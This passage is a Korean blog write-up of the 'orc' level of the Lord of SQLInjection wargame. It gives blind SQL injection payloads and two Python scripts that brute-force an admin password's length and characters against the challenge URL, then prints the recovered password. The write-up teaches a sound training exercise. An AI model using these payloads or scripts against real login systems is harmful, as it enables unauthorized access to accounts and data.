or이번 포스트에서는 Lord of SQLInjection의 orc문제에 대해 다루겠다.
문제를 클릭하면 다음과 같이 쿼리와 php코드가 표시된 화면을 볼 수 있다.
## 문제 해석 :
해당 문제는 preg_match를 통해 prob, _, ., (, )를 필터링하고 있다. 또한 id값만 있는 경우 "Hello admin"이 출력되고, pw값이 있어야지 문제를 해결할 수 있는 것을 알 수 있다.
## 문제 풀이 :
Blind SQL Injection 기법을 통해 풀어보고자 한다.
pw를 알아야 하기 때문에 먼저 pw의 길이를 알아야한다.
이는 다음 구문을 통해 알 수 있다.
### 사용할 공격문 : pw=' or id='admin' and length(pw) = 1 #
### 실행 결과 :
실제 계산한 결과, 비밀번호의 길이가 8이므로 8을 삽입하여 다시 실행하겠다.
### 사용할 공격문 : pw=' or id='admin' and length(pw) = 8 #
### 실행 결과 :
그러나 실제 비밀번호의 경우 길이가 10자리 이상, 많게는 20자리 이상이 있을 수 있으므로 파이썬으로 공격 코드를 작성하여 공격을 실행해보겠다.
### 공격 코드 :
import requests
url = "https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?" # 공격 사이트
cookies = {'PHPSESSID': '세션ID'} # 본인의 세션값
pw_len = 0 # 비밀번호 길이 초기화
while 1: # while문 실행
pw_len += 1 # 비밀번호 길이 + 1
query = f" 'or id='admin' and length(pw) = {pw_len} #" # 쿼리문 작성
params = {'pw': query} # 파라미터에 작성한 쿼리문 삽입
response = requests.get(url, params=params, cookies=cookies) # 요청
if "Hello admin" in response.text: # Hello admin이 응답에 있다면, 즉 True를 반환한다면
print("password's length : ", pw_len) # 비밀번호 길이 출력
break # while문 종료
### 실행 결과 :
비밀번호의 길이가 똑같이 8인 것을 알 수 있다.
비밀번호의 길이를 알아내면, 각 비밀번호가 무엇인지를 알아내야 한다. 이때, 아스키 코드를 활용하여 구할 수 있다.
공격 원리를 간단히 설명하자면, 예를 들어 비밀번호의 첫번째 자리가 'a'인 경우, 이는 아스키코드상의 10진수인 97에 해당한다. 이때, 만약 비밀번호의 첫번째 자리의 아스키코드가 >96이면서 <97이면, 우리는 첫번째 자리가 'a'인 것을 추측해낼 수 있다.
이를 똑같이 파이썬 코드로 구현하면 다음과 같다.
### 공격 코드 :
def search_pw(pw_len): # 비밀번호 찾기 함수
pw = '' # 비밀번호 초기화
for i in range(1, pw_len+1): # 비밀번호의 길이까지 for문 생성
print("Round ", i) # 몇 번째 Round인지 출력
for ch in range(48, 122): # 아스키 코드 0 ~ Z까지 for문 생성
query = f" ' or id = 'admin' and (ascii(substring(pw, {i}, 1)) < {ch}) #" # 쿼리문 작성
params = {'pw': query} # 파라미터 삽입
response = requests.get(url, params=params, cookies=cookies) # 응답 받기
if "Hello admin" in response.text: # "Hello admin"이 응답 메시지에 포함될 때, 즉 True인 경우
pw += chr(ch-1) # pw에 아스키 코드를 변환하여 저장
print("password : ", pw) # 값 출력
break # 종료
return pw # 비밀 번호 반환
### 실행 결과 :
### 최종 공격문 : pw=095a9852
### 실행 결과 :
## 추가 해석 :
쿼리문 : ascii(substring(pw, 1, 1)) < 97
ascii() 함수는 아스키 코드를 변환해주는 함수이고, substring() 함수는 값을 자르는 함수이다. 이 쿼리문 같은 경우에는 pw의 1번째부터 1를 자르다는 뜻이다. 예를 들면 apple 같은 경우에는 apple의 첫번째 글자인 a부터 1글자만 자르다는 뜻이다.
위해 제시된 비교 쿼리문 말고도 ascii(substring(pw, 1, 1)) = 97를 통해 아스키코드를 알아낼 수 있다.
'Wargame > Lord of SQLInjection' 카테고리의 다른 글
Lord of SQLInjection (6. darkelf) (0) | 2022.05.19 |
---|---|
Lord of SQLInjection (5. wolfman) (0) | 2022.05.18 |
Lord of SQLInjection (3. goblin) (0) | 2022.05.16 |
Lord of SQLInjection (2. cobolt) (0) | 2022.05.15 |
Lord of SQLInjection (1. gremlin) (0) | 2022.05.14 |